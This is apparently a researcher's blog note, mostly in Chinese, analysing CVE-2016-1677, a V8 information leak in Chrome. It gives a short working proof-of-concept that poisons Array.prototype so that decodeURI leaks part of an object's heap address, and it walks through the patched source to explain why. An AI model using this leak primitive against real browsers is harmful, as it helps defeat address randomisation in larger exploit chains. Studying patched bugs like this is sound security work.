CVE-2016-1677
19 Sep 2016 | categories noteshttps://bugs.chromium.org/p/chromium/issues/detail?id=602970
test.js
var num = new Number(10);
Array.prototype.__defineGetter__(0,function(){
return num;
})
Array.prototype.__defineSetter__(0,function(value){
})
var str=decodeURI("%E7%9A%84");
//in 32bit system, the leaked bits is [31..16]
//in 64bit system, the leaked bits is [47..32]
print("partial address of object num is "+str.charCodeAt(0).toString(16));
exec: d8 test.js
output: num对象的地址
原因:
https://codereview.chromium.org/1889133003/diff/1/src/js/uri.js
--src/js/uri.js
18 var GlobalArray = global.Array; // 取的数组是JS的数组,看上面的PoC,数组的 getter 被覆盖了,每次取到的都是一个对象,而非数字字面值
...
203 function Decode(uri, reserved) { // 入口
...
251 var octets = new GlobalArray(n); // 关键
...
259 index = URIDecodeOctets(octets, two_byte, index); // 这里跟进 URIDecodeOctets 函数
...
...
116 function URIDecodeOctets(octets, result, index) { 115 function URIDecodeOctets(octets, result, index) {
117 var value; 116 var value;
118 var o0 = octets[0]; 117 var o0 = octets[0];
119 if (o0 < 0x80) { 118 if (o0 < 0x80) {
120 value = o0; // 注意,这里 value 取到的为 PoC 里的对象,而非数字字面值
...
162 if (value < 0x10000) { 161 if (value < 0x10000) {
163 %_TwoByteSeqStringSetChar(index++, value, result); // 这里第二个参数,为 PoC 里的对象,非数字,跟进去,在 src/full-codegen/x64/full-codegen-x64.cc 里
--src/full-codegen/x64/full-codegen-x64.cc
(直接复制原报告的内容了)
void FullCodeGenerator::EmitTwoByteSeqStringSetChar(CallRuntime* expr) {
ZoneList<Expression*>* args = expr->arguments();
DCHECK_EQ(3, args->length());
Register string = rax;
Register index = rbx;
Register value = rcx;
VisitForStackValue(args->at(0)); // index
VisitForStackValue(args->at(1)); // value------> maybe point of heap object, i guess
VisitForAccumulatorValue(args->at(2)); // string
PopOperand(value);
PopOperand(index);
if (FLAG_debug_code) {
__ Check(__ CheckSmi(value), kNonSmiValue);
__ Check(__ CheckSmi(index), kNonSmiValue);
}
__ SmiToInteger32(value, value); -----------> treat value as smi
// 这里对应的是一条汇编指令,这里 value 的值就是地址了,最后地址被当作数字处理后返回
__ SmiToInteger32(index, index);
if (FLAG_debug_code) {
static const uint32_t two_byte_seq_type = kSeqStringTag | kTwoByteStringTag;
__ EmitSeqStringSetCharCheck(string, index, value, two_byte_seq_type);
}
__ movw(FieldOperand(string, index, times_2, SeqTwoByteString::kHeaderSize),
value);
context()->Plug(rax);
}